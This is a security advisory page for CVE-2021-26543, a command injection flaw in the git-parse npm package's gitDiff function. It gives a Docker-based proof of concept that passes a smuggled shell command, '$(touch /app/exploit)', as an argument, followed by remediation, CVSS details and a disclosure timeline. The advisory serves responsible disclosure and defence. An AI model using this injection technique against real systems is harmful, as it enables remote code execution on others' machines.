---
title: "CX-2020-4302"
date: "2021-04-29T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2020-4302/"
---

# CX-2020-4302

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

Fixed: Aug 24, 2021

CVE-2021-26543  **Published:** Apr 29, 2021

9.8 Critical Severity javascript node nodejs npm RCE

RM Ron Masas  Reported by Checkmarx Zero

Details Overview

## Summary

Affected versions of `git-parse` npm package are vulnerable to command injection attack via the `gitDiff` function.

## Product

NPM package `git-parse` prior to 1.0.5.

## Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

## Steps to reproduce

1. run the following docker file:

    ```

    FROM node:10-slim
    ```

WORKDIR /app

RUN npm i git-parse

COPY poc.js /app/poc.js

ENTRYPOINT ls -l /app && node poc.js && ls -l /app

````
poc.js:
```js
const { gitDiff } = require("git-parse");
gitDiff('/app', '$(touch /app/exploit)', '...');
````

2. Run `docker build . -t poc`
3. Run `docker run poc`

### Expected result:

A file named exploit will be created.

## Remediation

This issue has been fixed in version 1.0.5.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher [@ronmasas (Ron Masas)](https://twitter.com/ronmasas).

## Resources

1. [git-parse npm package](https://www.npmjs.com/package/git-parse)
2. [Issue](https://github.com/wayfair/git-parse/issues/15)
3. [Pull Request](https://github.com/wayfair/git-parse/pull/18)
4. [Commit](https://github.com/wayfair/git-parse/commit/1d661e933c232542d165f3153f526fbdff5ec864)

0  Critical Severity CVSS v3.1 Score

   9.8

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High

Advisory Timeline1. Discovered Dec 14, 2020
2. Disclosed Dec 15, 2020 Notified the maintainer
3. Fixed Aug 24, 2021 Fixed in release 1.0.5

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)
